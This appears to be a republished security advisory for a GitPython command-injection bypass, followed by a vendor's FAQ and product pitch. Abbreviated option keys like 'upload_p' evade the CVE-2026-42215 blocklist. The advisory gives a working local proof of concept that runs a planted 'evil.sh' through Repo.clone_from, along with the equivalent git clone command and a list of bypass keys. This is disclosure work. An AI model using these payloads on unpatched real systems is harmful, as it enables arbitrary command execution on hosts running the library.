GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist — GitPython
Incomplete List of Disallowed InputsCommand injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)
Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent.
Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.
The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.
The asymmetry (root cause)
# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
option_name = option.lstrip("-").split("=", 1)[0]
option_tokens = option_name.split(None, 1)
if not option_tokens:
return ""
return dashify(option_tokens[0]) # only transform: "_" -> "-"
@classmethod
def check_unsafe_options(cls, options, unsafe_options):
canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
for option in options:
unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
if unsafe_option is not None:
raise UnsafeOptionError(...)
The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.
Affected code (commit 20c5e275)
| Location | Role |
|---|---|
| git/cmd.py:948-960 _canonicalize_option_name | canonicalizer — no prefix expansion |
| git/cmd.py:963-974 check_unsafe_options | exact-match dict lookup (the incomplete guard) |
| git/cmd.py:1511 transform_kwarg | emits --<dashify(name)>=<value> to the CLI |
| git/repo/base.py:1411,1413 | clone call sites |
| git/remote.py:1074,1128,1201 | fetch / pull / push call sites |
Bypass keys (verified)
| kwarg key | git resolves to | path | weaponizable |
|---|---|---|---|
| upload_p, upload_pac | --upload-pack | clone / fetch / pull | Yes — direct RCE |
| receive_p | --receive-pack | push | Yes — direct RCE |
| exe | --exec | push | Yes — direct RCE |
| conf, confi | --config | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |
Minimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):
import os, stat, tempfile
from git import Repo
work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")
# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)
bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)
# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
pass # git aborts with GitCommandError AFTER the payload executed
print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed
Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.
Confirmed behavior:
upload_pack(exact) → blocked;upload_p(abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=Trueopt-out behaves as documented (out of scope).
Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.
On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.
Suggested remediation (any one)
- Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈
startswithon the blocked canonical name, afterdashify). - Disable abbreviation at the sink: pass
--end-of-optionsor invoke git in a way that disables long-option abbreviation. - Allowlist option names on security-sensitive subcommands instead of a blocklist.
Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.
| Software | From | Fixed in |
|---|---|---|
GitPython
|
- | 3.1.51 |
- https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285
- https://github.com/gitpython-developers/GitPython/pull/2161
- https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.